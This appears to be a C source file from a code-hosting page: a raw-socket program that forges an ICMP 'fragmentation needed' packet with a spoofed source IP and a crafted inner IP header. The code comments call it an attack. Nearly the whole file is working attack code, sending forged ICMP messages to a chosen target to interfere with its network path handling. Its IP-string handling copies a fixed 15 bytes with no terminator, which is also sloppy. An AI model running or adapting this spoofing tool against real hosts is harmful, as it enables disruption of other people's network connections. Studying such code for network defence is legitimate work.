108 lines
2.8 KiB
C
108 lines
2.8 KiB
C
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <arpa/inet.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/ip_icmp.h>
|
|
|
|
#define PACKET_SIZE 128
|
|
#define PAYLOAD_DATA 8
|
|
|
|
static unsigned short csum(unsigned short *buf, int nwords) {
|
|
unsigned long sum = 0;
|
|
while (nwords > 0) {
|
|
sum += *buf++;
|
|
nwords--;
|
|
}
|
|
sum = (sum >> 16) + (sum & 0xFFFF);
|
|
sum += (sum >> 16);
|
|
return (unsigned short)(~sum);
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
int sock = 0;
|
|
|
|
if (argc < 3)
|
|
exit(1);
|
|
|
|
char ipsrc[15];
|
|
char ipdst[15];
|
|
memcpy(ipsrc, argv[1], 15);
|
|
memcpy(ipdst, argv[2], 15);
|
|
|
|
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
|
if (sock < 0) {
|
|
perror("socket");
|
|
return 1;
|
|
}
|
|
|
|
int one = 1;
|
|
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(int)) < 0) {
|
|
perror("setsockopt");
|
|
return 1;
|
|
}
|
|
|
|
unsigned char packet[PACKET_SIZE];
|
|
memset(packet, 0, PACKET_SIZE);
|
|
|
|
struct iphdr *ip = (struct iphdr *)packet;
|
|
struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
|
|
|
|
struct sockaddr_in dst = {0};
|
|
dst.sin_family = AF_INET;
|
|
inet_pton(AF_INET, ipdst, &dst.sin_addr);
|
|
|
|
ip->version = 4;
|
|
ip->ihl = 5;
|
|
ip->tos = 0;
|
|
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 28);
|
|
ip->id = htons(1);
|
|
ip->frag_off = 0;
|
|
ip->ttl = 64;
|
|
ip->protocol = IPPROTO_ICMP;
|
|
ip->saddr = inet_addr(ipsrc);
|
|
ip->daddr = dst.sin_addr.s_addr;
|
|
ip->check = csum((unsigned short *)ip, sizeof(struct iphdr) / 2);
|
|
|
|
/* To perform the attack, we need to set these two values */
|
|
icmp->type = ICMP_DEST_UNREACH;
|
|
icmp->code = ICMP_FRAG_NEEDED;
|
|
|
|
icmp->un.gateway = 0;
|
|
|
|
/* We construct the payload for the ICMP */
|
|
unsigned char *payload = packet + sizeof(struct iphdr) + sizeof(struct icmphdr);
|
|
|
|
struct iphdr payload_ip;
|
|
memset(&payload_ip, 0, sizeof(payload_ip));
|
|
payload_ip.version = 4;
|
|
payload_ip.ihl = 5;
|
|
payload_ip.tos = 0;
|
|
payload_ip.tot_len = htons(60);
|
|
payload_ip.id = htons(1);
|
|
payload_ip.ttl = 64;
|
|
payload_ip.protocol = 0;
|
|
payload_ip.saddr = inet_addr(ipsrc);
|
|
payload_ip.daddr = inet_addr(ipdst);
|
|
|
|
/* We copy our IP header into the ICMP payload and our data */
|
|
memcpy(payload, &payload_ip, sizeof(payload_ip));
|
|
memset(payload + sizeof(payload_ip), 0x41, PAYLOAD_DATA);
|
|
|
|
int icmp_len = sizeof(struct icmphdr) + sizeof(payload_ip) + PAYLOAD_DATA;
|
|
icmp->checksum = 0;
|
|
icmp->checksum = csum((unsigned short *)icmp, (icmp_len + 1) / 2);
|
|
|
|
int total_len = sizeof(struct iphdr) + icmp_len;
|
|
|
|
if (sendto(sock, packet, total_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
|
|
perror("sendto");
|
|
return 1;
|
|
}
|
|
|
|
close(sock);
|
|
return 0;
|
|
}
|